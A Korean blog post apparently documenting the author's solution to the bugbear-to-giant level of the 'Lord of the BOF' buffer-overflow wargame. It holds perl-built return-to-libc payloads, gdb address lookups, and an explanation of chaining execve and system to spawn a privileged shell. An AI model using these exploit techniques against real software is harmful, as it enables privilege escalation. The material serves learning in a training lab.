반응형

네, 

어..(충격먹음)

후...

어렵네여ㅎ..

로그가 좀 정신없으니 엔터로 정리해놓겠슴다.

이번에 풀면서 잡담나눠주시고 지식이랑 새로운 해낑기법들을 맛보게(?)해주시고 이해를 도와주신 popopret형께 감사드려요 :D [(http://netstat.tistory.com) ☜여러가지 자료가 엄청많은 짱짱블러그ㄱㄱ]

[bugbear@localhost bugbear]$ ls

assassas  core  ggggg  ggggg.c  giant  giant.c  grant  grant.c  grantz /*계속 복사본은 권한이 없어서 에러가 떠서 grantz로 연결하게 grant.c를 수정했는데 필요없는짓이었슴여.. 바꾸던 안바꾸던 execve의 주소는 같슴다..ㄸㄹㄹ*/


[bugbear@localhost bugbear]$ payload= [/bin//sh, "\x90" x40] [execve addr] [dummy x4] [/bin//sh] [&/bin//sh] [null]

[1] 807

bash2: [/bin//sh,: No such file or directory

bash2: /bin//sh]: No such file or directory

[1]+  Exit 127                payload= [/bin//sh, "\x90" x40] [execve addr] [dummy x4] [/bin//sh] [



[bugbear@localhost bugbear]$ vi whereis.c

[bugbear@localhost bugbear]$ gcc whereis.c -o whereis

whereis.c: In function `main':

whereis.c:5: warning: assignment makes pointer from integer without a cast


[bugbear@localhost bugbear]$ export BINSH=`perl -e 'print "/bin/sh"'`

[bugbear@localhost bugbear]$ ./whereis BINSH

the env is at: 0xbffffc75



[bugbear@localhost bugbear]$ payload= [binsh addr] [nullx4] [nopx36] [execve] [dummy] [binsh addr] [argv[1]addr] [null addr]

bash2: [binsh: command not found

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x75\xfc\xff\xbf", "\x00"x4, "\x90"x36, "\x48\x9d\x0a\x40", "AAAA", "\x75\xfc\xff\xbf", "\xf8\xfb\xff\xbf", "0x51\xfb\xff\xbf"')"

You must use execve!

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x75\xfc\xff\xbf", " "x4, "\x90"x36, "\x48\x9d\x0a\x40", "AAAA", "\x75\xfc\xff\xbf", "\xf8\xfb\xff\xbf", "0x51\xfb\xff\xbf"')"

uü ¿    H

@AAAAuü ¿øû ¿0x51û ¿

Segmentation fault (core dumped) /*여기서 체감한 사실: null은 argv[1]에 들어가지 않습니다. 허허*/

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x75\xfc\xff\xbf", "\xff"x4, "\x90"x36, "\x48\x9d\x0a\x40", "AAAA", "\x75\xfc\xff\xbf", "\xf8\xfb\xff\xbf", "0x51\xfb\xff\xbf"')"

uü ¿    H

@AAAAuü ¿øû ¿0x51û ¿

Segmentation fault (core dumped)


[bugbear@localhost bugbear]$ gdb -q `perl -e 'print "\x75\xfc\xff\xbf"'` core

Core was generated by `./uü ¿ H

@AAAAuü ¿øû ¿0x51û ¿'. /*그래서 우선 지금은 argv[0]으로도 시도 해 봤는데 아직은 방법을 잘 모르겠는거 같아서 어제 p0p0pret 형이 알려주신 방법을 사용했습니다. (꼼수)*/

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0x41414141 in ?? ()

(gdb) b main

Breakpoint 1 at 0x8048566

(gdb) r

Starting program: /home/bugbear/uü ¿


Breakpoint 1, 0x8048566 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) q

The program is running.  Exit anyway? (y or n) y

[bugbear@localhost bugbear]$ ./`perl -e 'print "\x75\xfc\xff\xbf"'` "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "AAAA", "\x75\xfc\xff\xbf"')"

H

@@AAAAuü ¿

Segmentation fault (core dumped)


(중략...)


[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "\x75\xfc\xff\xbf", "\x78\xfc\xff\xbf"')"

H

@@uü ¿xü ¿

sh: =/bin/sh: No such file or directory

Segmentation fault (core dumped)

[bugbear@localhost bugbear]$ ./grant "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "\x75\xfc\xff\xbf", "\x79\xfc\xff\xbf"')"

H

@@uü ¿yü ¿

bash$ exit

exit

Segmentation fault (core dumped)

[bugbear@localhost bugbear]$ ./giant "$(perl -e 'print "\x90"x44, "\x48\x9d\x0a\x40", "\xe0\x8a\x05\x40", "\x75\xfc\xff\xbf", "\x79\xfc\xff\xbf"')"

H

@@uü ¿yü ¿

bash$ whoami

giant

bash$ my-pass

euid = 514


방법 설명: 원래 정석은 rtl로 execve에 인자를 다 전달해줌으로써 권한을 갖게 되는 거에여. 근데 rtl 기법을 봅시다.

[buffer] [sfp] [ret(function)] [dummy] [argument] [argument2] [argument3]... 이런 형식이 있다면

[nop~~~~~~][execve~~~~][system] [execve arg][system arg] -- 이 형태로 페이로드를 짜야 합니다.

이렇게 하면 execve함수를 호출하긴 하는데 인자가 제대로 없어서 실행은 성공적으로 되지 않습니다(원래 execve의 인자는 3개이지만 여기선 하나밖에 없습니다). 그래도 프로그램은 계속 실행해 원래는 더미(또는 exit)로 넣어두었던 곳의 ret를 참조하게 되는데요, 여기서 원래는 ret를 참조해 프로그램을 종료하게 되지만 이 페이로드의 경우에서는 종료되지 않고 system을 다시 호출하게 됩니다(ret자리에 system함수의 주소가 있으니까요). 그러면 또 system에 있는 인자를 system+4있는곳에서 찾게 될 것이구요. 그러면 system함수에 system함수의 인자(/bin/sh주소)까지 제대로 들어가 system("/bin/sh")를 실행하게 됩니다. 고로 결과는 쉘을 띄웁니다!(꼼수꼼수)


다른 풀이를 보니 음 으음 뭔지 이해는 되는거같은데 지금하기엔 어려운거같아요. 이해가 다 안되는데 한다는것도 그렇고,.. 계속 삽질해봐야겠네여.

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

assassin->zombie_assassin  (0) 2014.05.13
giant->assassin  (0) 2014.04.22
darkknight->bugbear  (2) 2014.04.07
golem->darkknight  (0) 2014.04.06
skeleton->golem  (5) 2014.03.17

+ Recent posts